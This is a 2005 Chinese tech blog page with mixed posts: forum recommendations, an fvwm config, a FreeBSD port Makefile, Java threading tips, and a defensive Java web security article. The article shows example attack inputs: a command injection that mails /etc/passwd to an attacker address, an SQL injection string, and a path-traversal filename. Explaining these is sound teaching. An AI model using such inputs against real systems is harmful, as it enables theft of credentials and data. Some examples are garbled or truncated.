ivaneeo's blog

          自由的力量,自由的生活。

            BlogJava :: 首頁 :: 聯系 :: 聚合  :: 管理
            669 Posts :: 0 Stories :: 64 Comments :: 0 Trackbacks

          #

          IT方面的論壇太多了,有綜合,有專業,有行業,在各個論壇里混了幾年,體會頗深,以前是論壇哪里人多,往哪里去,新浪論壇,網易是經常去的,人多啊,好幾十萬­,去了以后才發現沒有意思,沒有共同的語言,于是逛專業論壇,行業論壇,終于找到了共同語言,總結一下論壇的經驗:人不在多,有仙則靈,貼不在多,有精則行,逛­了大半輩子,一個IT人發展方向一定要除了技術外,業務,理論,思想一個都不能少,于是我推薦如下這些論壇,或許真能幫助您,做論壇,都是賠本的買賣,不收費還­幫助你學習,得向斑竹們致敬啊。

          以下論壇排名不分先后,還有許多業界知名的論壇,主要有點偏門,這個不做概述,呵呵。

          IT技術開發綜合類

          http://community.csdn.net/

          適合人群:只適合軟件開發者

          技術開發最全面的論壇,里面可以遇到很多牛人,版面也很全,什么J2EE,.NET啊,該有的全上,在這里基本上可以提出任何問題,人氣也是最旺的,不過一般提­出的意見都有正方兩面的,所以最終解決問題,還是靠自己。

          評價:專業,很牛逼,就是速度慢。

          http://www.52rd.com/bbs

          適合人群:研發人員

          我愛研發網,顧名思義,是針對R&D研發人員的,目前在射頻,通信,手機研發是國內第一的,牛人不少,問題討論的很徹底。論壇設有資料交換區,有大量有價值的資­料。

          評價:強,速度還可以;

          http://bbs.chinaunix.net/forum/

          適合人員:系統工程師

          這里的特色就是操作系統方面在業界是最著名的,牛人不少,目前,在數據庫,網絡方面也頗有建樹,當然灌水方面也不賴,呵呵,屬于溫柔性

          評價:強,速度還可以

          http://bbs.chinajavaworld.com/

          適合人員:JAVA開發

          JAVA方面非常綜合的論壇了,牛人也很多,是一個難得的JAVA論壇,涉及你想象的關于JAVA目前任何技術。

          評論:強,速度還可以。

          http://www.huihoo.com/forum/

          適合人員:中間件開發者

          人氣不錯,版面風格獨特,在開源,中間件,工作流方面非常不錯,問題討論都非常深刻、也很專業。

          評價:很好,速度一般;

          IT售前技術顧問綜合類

          http://www.sysvs.com/bbs

          適合人員:IT售前及技術顧問

          業界知名的售前技術顧問論壇,比較新異的知識點,各個IT行業版快劃分也比較好,也非常專業,絕對是我稀飯(喜歡)的風格,網站風格業內罕見,也有很多專業文章­,沒有地方灌水,厲害。

          評價:很好,速度比較快

          網絡工程類

          www.1000bbs.com <http://www.1000bbs.com>

          適合人員:布線/網絡工程師

          人氣很旺,特色是版面比較緊湊,綜合布線這一塊很權威,很窄很專,時間非常久了,顏色比較明快,就是太低端了,

          評價:不錯,速度一般

          http://www.sharecenter.net/

          適合人員:網絡工程師

          之所以我喜歡是這個網站很多做CISCO工程都知道,也是別人介紹我去的,時間非常久了,顏色比較暗談,屬于憂郁型。

          評價:不錯,速度也還可以

          IT營銷管理類

          http://www.topren.net/forum/index.php

          適合人員:企業策劃,CIO

          業界知名的知識站點"唐人社區",信息化管理顧問可以去看看,人也很多,可惜,都是下載,實質性內容需要改觀,我記得是非常專業的網站。

          評價:不錯,速度也還可以。

          IT管理綜合類

          http://club.amteam.org/

          適合人群:大多數,

          評論類比較多,基本上在其他媒體上看到的評論,這里都會有,要想了解IT發展的情況,就來這里看看。

          --
          Compute & Mobile 論壇
          科技發展,IT資訊,電腦技術,移動辦公,無線通信,手機應用,網絡通訊,手機軟件.
          電腦與手機的結合,發現趨勢,掌握未來!
          技術:3G 藍牙 紅外 移動存儲 Wi-Fi WiMax UWB 筆本記本 手機

          posted @ 2005-11-04 16:46 ivaneeo 閱讀(329) | 評論 (0)編輯 收藏

          1.監控當前數據庫誰在運行什么SQL語句
           
           SELECT osuser, username, sql_text from v$session a, v$sqltext b
           where a.sql_address =b.address order by address, piece;


           
          posted @ 2005-11-03 10:10 ivaneeo 閱讀(251) | 評論 (0)編輯 收藏

          ###########
          #? ____________________________
          # (?? _________________________)
          #? ) (__? _?? _? _??? _ ?
          # (?? __)(? \/? )( \/\/ ) /\/\
          #? ) (???? \? ? /? \???? // ? ? \
          # (___)??? \/???? \/ \/(_/\/\_) 2.5.14
          #
          # My personal fvwm2rc file
          #
          #######################

          #####
          # 設置環境變量
          ###########
          SetEnv fvwm_home $[HOME]/.fvwm
          SetEnv fvwm_img $[fvwm_home]/images
          SetEnv fvwm_icon $[fvwm_home]/icons
          SetEnv fvwm_scrpt $[fvwm_home]/scripts
          SetEnv fvwm_wallpapers $[fvwm_img]/wallpaper
          #####
          # 設置首先的應用程序
          ###########
          SetEnv fvwm_webbrowser /usr/bin/firefox
          SetEnv fvwm_term /usr/bin/aterm
          SetEnv fvwm_mail /usr/bin/mutt
          SetEnv fvwm_media_player /usr/bin/xmms
          SetEnv fvwm_video_player /usr/bin/mplayer
          #####
          #設置圖片的查詢路徑
          ###########
          ImagePath $[fvwm_icon]:$[fvwm_icon];.png:+?? ##$[fvwm_icon];.png表示查找$[fvwm_icon]路徑中的png格式的圖片,而不是默認的圖片格式。
          ??? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ##+表示前面添加過的ImagePath路徑
          #####
          # 虛擬桌面
          ###########
          DesktopSize 3x3?? ##定義了每一個虛擬桌面(3x3的9個格子)
          DesktopName 0 Main?? ##定義了一個虛擬桌面,名字為Main
          DesktopName 1 Work
          DesktopName 2 Games
          EdgeScroll 100 100?? ##定義了當你的鼠標移動到屏幕邊緣的時候,屏幕滾動的百分率。這里表示鼠標移動到屏幕邊緣屏幕100%的滾動到下一個屏幕。
          EdgeResistance 150? 150?? ##EdgeResistance scrolling moving
          這是用來設定當滑鼠游標碰觸到螢幕的邊界的時候,FVWM應該要如
          何動作。scrolling 是告訴FVWM當滑鼠游標碰觸到螢幕邊界多少
          milliseconds之後,才會移動目前的工作桌面。moving則是設定當
          視窗超出畫面多少像點之後,才要切換目前的工作桌面到別的桌面
          上。
          EdgeThickness 1?? ##設定鼠標靠近屏幕邊緣的距離小于某個值。

          #####
          # Mouse and Focus Behavior
          ###########
          ClickTime 350?? ##fvwm考慮鼠標click的時間,按下于彈出之間大于350ms,認為是hold.小于350ms就是click.
          MoveThreshold 3?? ##控制移動窗口和圖標的拖動操作的靈敏度。 該資源值是移動操作觸發前定位器按下按鈕移動的像素量。 這用于防止單擊或雙擊時的窗口和圖標的移動,這里的移動是指按鈕按下時無意識的指針移動。

          ## Style stylename options
          ????? Style???????? *??????? SloppyFocus, MouseFocusClickRaises??
          ## 其中stylename是你的窗口的名字,窗口的class名字,或者窗口的resource名字。
          ## stylename 里可以有 "*" 作為通配符。比如你可以說
          ## ?? ??? ??? Style *term TitleAtLeft
          ## 讓所有以 "term" 結尾的那些窗口的標題攔都在左邊。比如 "xterm", "cxterm", "qterm", ... 都## 會采用這種樣式。
          ## options 是你想讓滿足條件的窗口以什么樣的方式存在。options 的種類非常之多。比如:BorderWidth, HandleWidth, FocusFollowsMouse, TileCascadePlacement, ... 它們有的需要參數,比如 BorderWidth 7, 指定邊框寬度為7個像素。有些不需要參數,比如 FocusFollowsMouse/ SloppyFocus/ NeverFocus/ ClickToFocus 指明了幾種互相排斥的鍵盤聚焦方式。
          ## 這里SloppyFocus指,當鼠標移動到那個窗口時,窗口被激活(不包括root window)。
          ## 這里MouseFocusClickRaises表示,當鼠標點擊一個激活的窗口時,這個窗口會上升到最高層。
          ##
          EwmhBaseStructs left right top bottom
          ???? EwmhBaseStruts??? 62? 162??? 0???? 48?? ##這里的值來指定窗口的最大化時的放置的位置值。
          IgnoreModifiers L25?? ##你可以忽略某些鍵盤控制鍵。這將影響到你的鼠標和鍵盤熱鍵定義。

          #####
          # Global Styles and options
          ###########
          Style * BorderWidth 5, HandleWidth 5, DepressableBorder
          Style * Icon kcmkwm.png
          Style * MWMFunctions, MWMDecor, MWMButtons, HintOverride
          Style * DecorateTransient, NoPPosition
          Style * SloppyFocus, MouseFocusClickRaises
          Style * SmartPlacement
          Style * Font -*-simsun-medium-r-*-*-14-*-*-*-*-*-*-*
          Style * IconFont -*-simsun-medium-r-*-*-12-*-*-*-*-*-*-*
          Style * HilightFore black, HilightBack gainsboro
          Style * IconBox 360x200+1-1, IconFill left bottom
          Style * WindowShadeShrinks, WindowShadeSteps 100
          posted @ 2005-11-02 15:33 ivaneeo 閱讀(4130) | 評論 (0)編輯 收藏

          To do great work a man must be very idle as well as very industrious. (Samuel Bubler, American educator)

          要從事偉大的工作,一個人必須既非常勤勞又非常空閑。(美國教育家 勃特勒。S.)

          posted @ 2005-11-02 10:33 ivaneeo 閱讀(717) | 評論 (0)編輯 收藏

          http://www.zensites.net/fvwm/guide/index.html
          posted @ 2005-10-31 14:50 ivaneeo 閱讀(708) | 評論 (4)編輯 收藏

          1.dietician
          [dai?ˊti??n]
          n. 營養專家;營養學者
          <----------------------->
          2.psychologist
          [saiˊk?l?d?ist]
          n. 心理學者
          <----------------------->
          3.society
          [s?ˊsai?ti]
          n. U社會;C團體,社會;U上流社會
          <----------------------->
          4.assault
          [?ˊs??t]
          n. 攻擊,突襲
          <----------------------->
          5.succession
          *[s?k'se??n]
          n. 連續, 繼承權, 繼位, 演替, 地層次序
          <------------------------>
          6.rife
          *[raif]
          a. 流行的, 盛傳的, 充滿的

          be rife with
          充滿
          <------------------------->
          7.at hand
          在手邊, 在附近, 即將到來
          <-------------------------->
          posted @ 2005-10-28 16:25 ivaneeo 閱讀(315) | 評論 (0)編輯 收藏

          一、概述
          編寫安全的Internet應用并不是一件輕而易舉的事情:只要看看各個專業公告板就可以
          找到連續不斷的安全漏洞報告。你如何保證自己的Internet應用不象其他人的應用那樣
          滿是漏洞?你如何保證自己的名字不會出現在令人難堪的重大安全事故報道中?
          如果你使用Java Servlet、JavaServer
          Pages(JSP)或者EJB,許多難以解決的問題都
          已經事先解決。當然,漏洞仍有可能出現。下面我們就來看看這些漏洞是什么,以及為
          什么Java程序員不必擔心部分C和Perl程序員必須面對的問題。
          C程序員對安全漏洞應該已經很熟悉,但象OpenBSD之類的工程提供了處理此類問題的安
          全系統。Java語言處理這類問題的經驗要比C少20年,但另一方面,Java作為一種客戶
          端編程語言誕生,客戶端對安全的要求比服務器端苛刻得多。它意味著Java的發展有著
          一個穩固的安全性基礎。
          Java原先的定位目標是瀏覽器。然而,瀏覽器本身所帶的Java虛擬機雖然很不錯,但卻
          并不完美。Sun的《Chronology of security-related bugs and
          issues》總結了運行
          時環境的漏洞發現歷史。我們知道,當Java用作服務器端編程語言時,這些漏洞不可能
          被用作攻擊手段。但即使Java作為客戶端編程語言,重大安全問題的數量也從1996年的
          6個(其中3個是相當嚴重的問題)降低到2000年的1個。不過,這種安全性的相對提高
          并不意味著Java作為服務器端編程語言已經絕對安全,它只意味著攻擊者能夠使用的攻
          擊手段越來越受到限制。那么,究竟有哪些地方容易受到攻擊,其他編程語言又是如何
          面對類似問題的呢?

          二、緩存溢出
          在C程序中,緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內存空間
          (專供用戶輸入使用)時出現。緩存溢出可能成為導致應用被覆蓋的關鍵因素。C程序
          很容易出現緩存溢出,但Java程序幾乎不可能出現緩存溢出。
          從輸入流讀取輸入數據的C代碼通常如下所示:
          char buffer[1000];
          int len = read(buffer);

          由于緩存的大小在讀入數據之前確定,系統要檢查為輸入保留的緩存是否足夠是很困難
          的。緩存溢出使得用戶能夠覆蓋程序數據結構的關鍵部分,從而帶來了安全上的隱患。
          有經驗的攻擊者能夠利用這一點直接把代碼和數據插入到正在運行的程序。
          Java中,我們一般用字符串而不是字符數組保存用戶輸入。與前面C代碼等價的Java
          代碼如下所示:
          String buffer = in.readLine();

          在這里,"緩存"的大小總是和輸入內容的大小完全一致。由于Java字符串在創建之后
          不能改變,緩存溢出也就不可能出現。退一步說,即使用字符數組替代字符串作為緩存
          Java也不象C那樣容易產生可被攻擊者利用的安全漏洞。例如,下面的Java代碼將產
          生溢出:
          char[] bad = new char[6];
          bad[7] =
          50;這段代碼總是拋出一個java.lang.ArrayOutOfBoundsException異常,而
          該異常可以由程序自行捕獲:
          try {
          char[] bad = new char[6];
          bad[7] = 50;

          }

          catch (ArrayOutOfBoundsException ex) {
          ... }

          這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數組,我們總是
          得到ArrayOutOfBoundsException異常,而Java運行時底層環境卻能夠保護自身免受任
          何侵害。一般而言,用Java字符串類型處理字符串時,我們無需擔心字符串的
          ArrayOutOfBoundsExceptions異常,因此它是一種較為理想的選擇。
          Java編程模式從根本上改變了用戶輸入的處理方法,避免了輸入緩存溢出,從而使得
          Java程序員擺脫了最危險的編程漏洞。

          三、競爭狀態
          競爭狀態即Race
          Condition,它是第二類最常見的應用安全漏洞。在創建(更改)資源
          到修改資源以禁止對資源訪問的臨界時刻,如果某個進程被允許訪問資源,此時就會出
          現競爭狀態。這里的關鍵問題在于:如果一個任務由兩個必不可少的步驟構成,不管你
          多么想要讓這兩個步驟一個緊接著另一個執行,操作系統并不保證這一點。例如,在數
          據庫中,事務機制使得兩個獨立的事件"原子化"。換言之,一個進程創建文件,然后
          把這個文件的權限改成禁止常規訪問;與此同時,另外一個沒有特權的進程可以處理該
          文件,欺騙有特權的進程錯誤地修改文件,或者在權限設置完畢之后仍繼續對原文件進
          行訪問。
          一般地,在標準Unix和NT環境下,一些高優先級的進程能夠把自己插入到任務的多個步
          驟之間,但這樣的進程在Java服務器上是不存在的;同時,用純Java編寫的程序也不可
          能修改文件的許可權限。因此,大多數由文件訪問導致的競爭狀態在Java中不會出現,
          但這并不意味著Java完全地擺脫了這個問題,只不過是問題轉到了虛擬機上。
          我們來看看其他各種開發平臺如何處理這個問題。在Unix中,我們必須確保默認文件創
          建模式是安全的,比如在服務器啟動之前執行"umask
          200"這個命令。有關umask的更
          多信息,請在Unix系統的命令行上執行"man
          umask"查看umask的man文檔。
          在NT環境中,我們必須操作ACL(訪問控制表,Access
          Control List)的安全標記,保
          護要在它下面創建文件的目錄。NT的新文件一般從它的父目錄繼承訪問許可。請參見
          NT文檔了解更多信息。
          Java中的競爭狀態大多數時候出現在臨界代碼區。例如,在用戶登錄過程中,系統要生
          成一個唯一的數字作為用戶會話的標識符。為此,系統先產生一個隨機數字,然后在散
          列表之類的數據結構中檢查這個數字是否已經被其他用戶使用。如果這個數字沒有被其
          他用戶使用,則把它放入散列表以防止其他用戶使用。代碼如Listing
          1所示:
          (Listing 1)
          // 保存已登錄用戶的ID
          Hashtable hash;
          // 隨機數字生成器
          Random rand;
          // 生成一個隨機數字
          Integer id = new Integer(rand.nextInt());
          while (hash.containsKey(id))
          {
          id = new Integer(rand.nextInt());

          }

          // 為當前用戶保留該ID
          hash.put(id, data);

          Listing
          1的代碼可能帶來一個嚴重的問題:如果有兩個線程執行Listing
          1的代碼,其
          中一個線程在hash.put(...)這行代碼之前被重新調度,此時同一個隨機ID就有可能被
          使用兩次。在Java中,我們有兩種方法解決這個問題。首先,Listing
          1的代碼可以改
          寫成Listing
          2的形式,確保只有一個線程能夠執行關鍵代碼段,防止線程重新調度,
          避免競爭狀態的出現。第二,如果前面的代碼是EJB服務器的一部分,我們最好有一個
          利用EJB服務器線程控制機制的唯一ID服務。
          (Listing 2)
          synchronized(hash)
          {
          // 生成一個唯一的隨機數字
          Integer id =
          new Integer(rand.nextInt());
          while (hash.containsKey(id))
          {
          id = new Integer(rand.nextInt());

          }

          // 為當前用戶保留該ID
          hash.put(id, data);
          }

          四、字符串解釋執行
          在有些編程語言中,輸入字符串中可以插入特殊的函數,欺騙服務器使其執行額外的、
          多余的動作。下面的Perl代碼就是一個例子:
          $data = "mail body";
          system("/usr/sbin/sendmail -t $1 < $data");

          顯然,這些代碼可以作為CGI程序的一部分,或者也可以從命令行調用。通常,它可以
          按照如下方式調用:
          perl script.pl hon...@true.com

          它將把一個郵件(即"mail
          body")發送給用戶hon...@true.com。這個例子雖然簡單
          ,但我們卻可以按照如下方式進行攻擊:
          perl script.pl hon...@true.com;mail
          c...@liarandthief.com < /etc/passwd

          這個命令把一個空白郵件發送給hon...@true.com,同時又把系統密碼文件發送給了
          c...@liarandthief.com。如果這些代碼是CGI程序的一部分,它會給服務器的安全帶
          來重大的威脅。
          Perl程序員常常用外部程序(比如sendmail)擴充Perl的功能,以避免用腳本來實現外
          部程序的功能。然而,Java有著相當完善的API。比如對于郵件發送,JavaMail
          API就
          是一個很好的API。但是,如果你比較懶惰,想用外部的郵件發送程序發送郵件:
          Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

          事實上這是行不通的。Java一般不允許把OS級"<"和";"之類的構造符號作為
          Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題:
          Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");

          但是,這種代碼是不安全的,它把前面Perl代碼面臨的危險帶入了Java程序。按照常規
          Java方法解決問題有時看起來要比取巧的方法復雜一點,但它幾乎總是具有更好的可
          移植性、可擴展性,而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例
          子,其他許多情形更復雜、更隱蔽。
          讓我們來考慮一下Java的映像API(Reflection
          API)。Java映像API允許我們在運行時
          決定調用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為
          系統的安全弱點。例如,下面的代碼就有可能產生這類問題:
          Method m = bean.getClass().getMethod(action, new Class[] {});
          m.invoke(bean, new Object[] {});

          如果"action"的值允許用戶改變,這里就應該特別注意了。注意,這種現象可能會在
          一些令人奇怪的地方出現--或許最令人奇怪的地方就是JSP。大多數JSP引擎用映像
          API實現下面的功能:
          <jsp:setProperty name="bean" property="*" />

          這個Bean的set方法應該特別注意,因為所有這些方法都可以被遠程用戶調用。例如,
          對于Listing 3的Bean和Listing 4的JSP頁面:
          (Listing 3)

          public class Example
          {
          public void setName(String name) {
          this.name = name; }
          public String getName() { return name; }
          public void setPassword(String pass) {
          this. pass = pass; }
          public String getPassword() { return
          pass; }
          private String name;
          private String pass;

          }

          (Listing 4)
          <%@ page import="Example" %>
          <jsp:useBean id="example" scope="page"
          class="Example" />
          <jsp:setProperty name="example" property="*" />
          <html>
          <head>
          <title>Bean示例</title>
          </head>
          <body>
          <form>
          <input type="text" name="name" size="30">
          <input type="submit" value="Submit">
          </form>
          </html>

          從表面上看,這些代碼只允許用戶訪問example
          Bean的名字。然而,了解該系統的用戶
          可以訪問" 。這個URL既改變name屬性,也改變password密碼屬性。當然,這應該不是頁面編寫者
          的意圖,作者的意圖是設計一個只允許用戶訪問名字屬性的頁面。因此,在使用
          <jsp:setProperty property=&quot;*&quot; ... /&gt;。>

          時應該非常小心
          字符串被解釋執行的問題可能在允許嵌入腳本代碼的任何環境中出現。例如,這類問題
          可能在Xalan(也稱為LotusXSL)中出現,當然這是指系統設置不嚴格、易受攻擊的情
          況下。
          Xalan的腳本支持能夠關閉(而且這是Xalan的默認設置),在敏感的應用中關閉腳本支
          持是一種明智的選擇。當你需要用DOM處理XML文檔時還必須考慮到另外一點:DOM保證
          所有文本都經過正確的轉義處理,防止非法的標記插入到腳本之內。LotusXSL缺乏這個
          功能,但這絕不是一個BUG。支持腳本是LotusXSL的一個特色,而且它(明智地)默認
          處于關閉狀態。XSL的W3C規范并沒有規定支持腳本的能力。
          現在我們來看看字符串解釋執行如何影響SQL和JDBC。假設我們要以用戶名字和密碼為
          條件搜索數據庫中的用戶,Listing
          5的Servlet代碼看起來不錯,但事實上它卻是危險
          的。
          (Listing 5)
          String user = request.getAttribute("username");
          String pass = request.getAttribute("password");
          String query = "SELECT id FROM users WHERE
          username="+user+" AND password="+pass;
          Statement stmt = con.createStatement(query);
          ResultSet rs = con.executeQuery(query);
          if (rs.next())
          {
          // 登錄成功
          int id = rs.getInt(1);
          ...

          }

          else
          {
          // 登錄失敗
          ...
          }

          如果用戶輸入的查詢條件中,用戶名字等于"fred",密碼等于"something",則系
          統執行的查詢實際上是:
          SELECT id FROM users WHERE
          username='fred' AND password=
          'something'

          這個查詢能夠正確地對用戶名字和密碼進行檢查。但是,如果用戶輸入的查詢條件中,
          名字等于"fred' AND ('a'='b",密碼等于"blah') OR
          'a'='a",此時系統執行的
          查詢變成了:
          SELECT id FROM users
          WHERE username='fred' AND (
          'a'='b' AND password='blah') OR 'a'='a'

          可以看出,這個查詢無法正確地對用戶名字和密碼進行檢查。Listing
          6的代碼要安全
          得多,它從根本上防止了用戶修改SQL命令逃避檢查。
          (Listing 6)
          String user = request.getAttribute("username");
          String pass = request.getAttribute("password");
          String query = "SELECT id FROM users
          WHERE username=? AND password=?";
          PreparedStatement stmt = con.prepareStatement(query);
          stmt.setString(1, user);
          stmt.setString(2, pass);
          ResultSet rs = stmt.executeQuery();
          ...

          所有對文件系統的訪問都是字符串可能被解釋執行的地方。用Java訪問文件系統時,我
          們應該注意文件的命名方式。Listing
          7是一個可能帶來危險的例子。這個程序根據用
          戶輸入決定讀取哪個文件,它的危險就在于攻擊者能夠輸入"../../../etc/passwd"
          這樣的文件名字并獲得系統的密碼文件。這可不是我們希望出現的事情。預防出現這種
          安全漏洞最簡單的方法是:除非絕對需要,否則不要使用平面文件(Flat
          File)。
          (Listing 7)
          public class UnsafeServlet
          {
          public void doGet(HttpServletRequest request,
          HttpServletResponse response)
          {
          String product = request.getAttribute("product");
          Reader fin = new FileReader(
          "/usr/unsafe/products/"+ product);
          BufferedReader in = new BufferedReader(fin);
          String cost = in.readLine();
          // 其他處理過程
          response.getWriter().println(cost);

          }
          }

          大多數服務器系統,包括Servlet、JSP和EJB,都支持不直接依賴文件系統訪問的配置
          方法。使用定制的SecurityManager或者使用一個簡單的檢查腳本(檢查程序是否直接
          操作文件系統以及是否使用映像API),我們就可以實施"無文件系統直接訪問"策略
          。盡管大多數應用服務器允許使用文件系統,但一個好的EJB不會使用它。
          最后,請務必不要忘記保持數據充分分離、精確定義這一良好的編程習慣。假設我們有
          一個用來保存用戶信息的數據庫,現在需要增加一個字段標示用戶是否具有超級用戶權
          限。如果在原來的表中增加一個列實在過于復雜,采用下面這種方法就變得很有吸引力
          :在用戶名字中加上一個特殊字符表示用戶是否具有特殊權限,當用戶登錄時檢查該特
          殊字符,以便防止非法用戶宣稱自己擁有特殊權限。但事實上,這種做法是非常有害的
          。所有的數據域,不管它是在數據庫中還是作為局部變量,都應該精確定義且只保存一
          份信息。

          五、基本原則總結
          根據上述討論,我們得到如下防止出現安全問題的基本原則:

          對于各個輸入域,嚴格地定義系統可接受的合法輸入字符,拒絕所有其他輸入內容。

          應該盡可能早地對用戶輸入進行檢查,使得使用危險數據的區域減到最小。
          不要依賴瀏覽器端JavaScript進行安全檢查(盡管對用戶來說這是一種非常有用的功能
          ),所有已經在客戶端進行的檢查應該在服務器端再進行一次。
          這些原則有助于消除大量的安全問題。本質上,在應用這一級上,URL和POST數據是用
          戶和應用交互的唯一途徑,所以我們的注意力應該集中在URL和用戶輸入數據的安全性
          上。
          當然,簡單地遵從本文的建議并不能夠保證絕對的安全。你必須分析其他各方面的因素
          ,包括網絡的安全性以及你所用到的其他服務的安全性。
          每天都有新的安全漏洞被發現和修正。在系統足夠安全、可以連接到Internet之前,請
          務必聽取專家的建議;在正式提交源代碼之前,一定要留意可能存在的漏洞。小心永不
          過份。

          JDK1.4引入了Preferences類,
          用于設置用戶的首選項,對于Windows平臺就是操作注冊表了,
          下面的程序就可以往注冊表里寫幾個值,運行完畢后,
          打開regedit, 搜尋一下,
          看看注冊表里是不是有了變化了。

            (下面注釋掉的那段代碼給恢復,
          就能把寫入的注冊鍵值刪除, 很方便啊)

            至于讀注冊表項, 比寫還方便, 查JDK API文檔吧..

          // PrefsDemo.java

          import java.io.*;
          import java.util.prefs.*;

          public class PrefsDemo {
          public static void main(String args[])
          {
           String keys[] ={"sunway","copyright","author"};
           String values[] ={"sunway technology company","copyright
          2002","turboc

           /* 建立一個位于user root下的/com/sunway/spc節點參數項*/
           Preferences prefsdemo
          =Preferences.userRoot().node("/com/sunway/spc");

           /* 儲存參數項*/
           for (int i=0 ; i < keys.length; i++)
           {
            prefsdemo.put(keys[i], values[i]);
           }

           /* 導出到XML文件 */
           try
           {
            FileOutputStream fos = new FileOutputStream("prefsdemo.xml");
            prefsdemo.exportNode(fos);
           } catch (Exception e)
           {
            System.err.println("Cannot export nodes: " + e);
           }

           /* 去掉注釋可以清除注冊表中的參數項*/
           /*try
           {
            prefsdemo.removeNode();
           } catch (BackingStoreException e)
           {
           }*/

          posted @ 2005-10-28 10:42 ivaneeo 閱讀(358) | 評論 (0)編輯 收藏

          通過修改 distinfo 和Makefile 文件來安裝最新簡體中文版的 Adobe Reader7.

          OS: freebsd 5.4

          ******************************

          1.修改/usr/ports/print/acroread7下面的distinfo 和Makefile文件。

          ===================
          我的distinfo:

          MD5 (acroread/AdobeReader_chs-7.0.0-2.i386.rpm) = 40fe6b8cb157de92090219d4385e3e3e
          SIZE (acroread/AdobeReader_chs-7.0.0-2.i386.rpm) = 55386857

          =====================
          我的Makefile文件

          # New ports collection makefile for: acroread7
          # Date created: 19 May 2005
          # Whom: Trevor Johnson <trevor@freebsd.org>
          #
          # $FreeBSD: ports/print/acroread7/Makefile,v 1.3 2005/07/07 01:34:00 linimon Exp $
          #

          PORTNAME= acroread7
          PORTVERSION= 7.0.0
          CATEGORIES= print linux
          MASTER_SITES= http://ardownload.adobe.com/pub/adobe/reader/unix/7x/7.0/chs/ \
          ftp://ftp.adobe.com/pub/adobe/reader/unix/7x/7.0/chs/
          DISTNAME= AdobeReader_chs-7.0.0-2.i386.rpm
          EXTRACT_SUFX=
          DIST_SUBDIR= acroread
          EXTRACT_ONLY=
          RESTRICTED= "Must fill out redistribution form at http://www.adobe.com/products/acrobat/distribute.html"

          MAINTAINER= trevor@FreeBSD.org
          COMMENT= View, distribute and print PDF documents

          BUILD_DEPENDS= rpm:${PORTSDIR}/archivers/rpm
          RUN_DEPENDS= ${LINUXBASE}/usr/lib/libgtk-x11-2.0.so.0:${PORTSDIR}/x11-toolkits/linux-gtk2 \
          ${LINUXBASE}/usr/lib/libpango-1.0.so.0:${PORTSDIR}/x11-toolkits/linux-pango \
          ${LINUXBASE}/usr/X11R6/lib/libXext.so.6:${PORTSDIR}/x11/linux-XFree86-libs

          CONFLICTS= acroread

          ONLY_FOR_ARCHS= amd64 i386
          USE_REINPLACE= yes
          USE_LINUX?= yes
          NO_BUILD= yes
          REINPLACE_ARGS= -i '' -E
          NO_FILTER_SHLIBS= yes
          PLIST= ${WRKDIR}/plist
          PREFIX= ${LINUXBASE}

          pre-install:
          @kldstat -v | ${GREP} -E 'linux(aout|elf)' >/dev/null ||\
          { ${ECHO_MSG} "Linux ABI compatibility must be enabled to install ${PORTNAME}-${PORTVERSION}"; \
          exit 1; }
          @${RM} -rf ${WRKSRC}/tmp
          @${MKDIR} ${WRKSRC}/tmp
          cd ${WRKSRC}/tmp; \
          rpm2cpio < ${DISTDIR}/${DIST_SUBDIR}/${DISTNAME} | ${CPIO} -id; \
          ${FIND} * -type f -o -type l > ${PLIST} \
          && ${FIND} -d * -type d | ${SED} -e 's:^:@dirrm :' | \
          ${GREP} -vE "(usr/bin$$|local$$|share$$|usr$$)" >> ${PLIST}

          do-install:
          @rpm -U --ignorearch --ignoreos --root ${PREFIX} --dbpath /var/lib/rpm \
          --nodeps --replacepkgs ${DISTDIR}/${DIST_SUBDIR}/${DISTNAME} || ${TRUE}
          # disable the PPKLite plugin as it requires an LDAP share lib
          ${CHMOD} 0 ${PREFIX}/usr/local/Adobe/Acrobat7.0/Reader/intellinux/plug_ins/PPKLite.api

          post-install:
          @${REINPLACE_CMD} 's:Linux:FreeBSD|Linux:g' \
          ${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread
          cd ${LOCALBASE}/bin ; ${LN} -sf ${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread acroread7
          cd ${LOCALBASE}/bin ; ${LN} -sf ${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread acroread
          @${ECHO_MSG} "Be sure to read the license agreement in"
          @${ECHO_MSG} "${PREFIX}/usr/local/Adobe/Acrobat7.0/Reader/Legal/CHS/license_CHS_uc.txt"

          .include <bsd.port.mk>

          其實修改的地方不多,自己看看就明白。
          ========================================

          2.做完以上兩步,就可以到 /usr/ports/print/acroread7下面

          make install clean

          很快就裝完。

          ============

          3.其實我為了方便,先到官方網站把AdobeReader_chs-7.0.0-2.i386.rpm給下了下來,放到 /usr/ports/distfiles/acroread下面。 (只有這樣才能知道他的 MD5,否則怎么知道改distinfo文件呢?)

          然后才執行第2步的,不到 2分鐘就裝好,因為不用再去下載原程序。

          4.新版打開文件的速度很快
          posted @ 2005-10-27 16:05 ivaneeo 閱讀(584) | 評論 (0)編輯 收藏

          Java的線程編程非常簡單。但有時會看到一些關于線程的錯誤用法。下面列出一些應該注意的問題。

             1.同步對象的恒定性All java objects are references.

            對于局部變量和參數來說,java里面的int, float, double, boolean等基本數據類型,都在棧上。這些基本類型是無法同步的;java里面的對象(根對象是Object),全都在堆里,指向對象的reference在棧上。

            java中的同步對象,實際上是對于reference所指的“對象地址”進行同步。

            需要注意的問題是,千萬不要對同步對象重新賦值。舉個例子。

            class A implements Runnable{

            Object lock = new Object();

            void run(){

            for(...){

            synchronized(lock){

            // do something

            ...

            lock = new Object();   }   }   }   run函數里面的這段同步代碼實際上是毫無意義的。因為每一次lock都給重新分配了新的對象的reference,每個線程都在新的reference同步。

            大家可能覺得奇怪,怎么會舉這么一個例子。因為我見過這樣的代碼,同步對象在其它的函數里被重新賦了新值。

            這種問題很難查出來。

            所以,一般應該把同步對象聲明為final.

            final Object lock = new Object();

            使用Singleton Pattern 設計模式來獲取同步對象,也是一種很好的選擇。

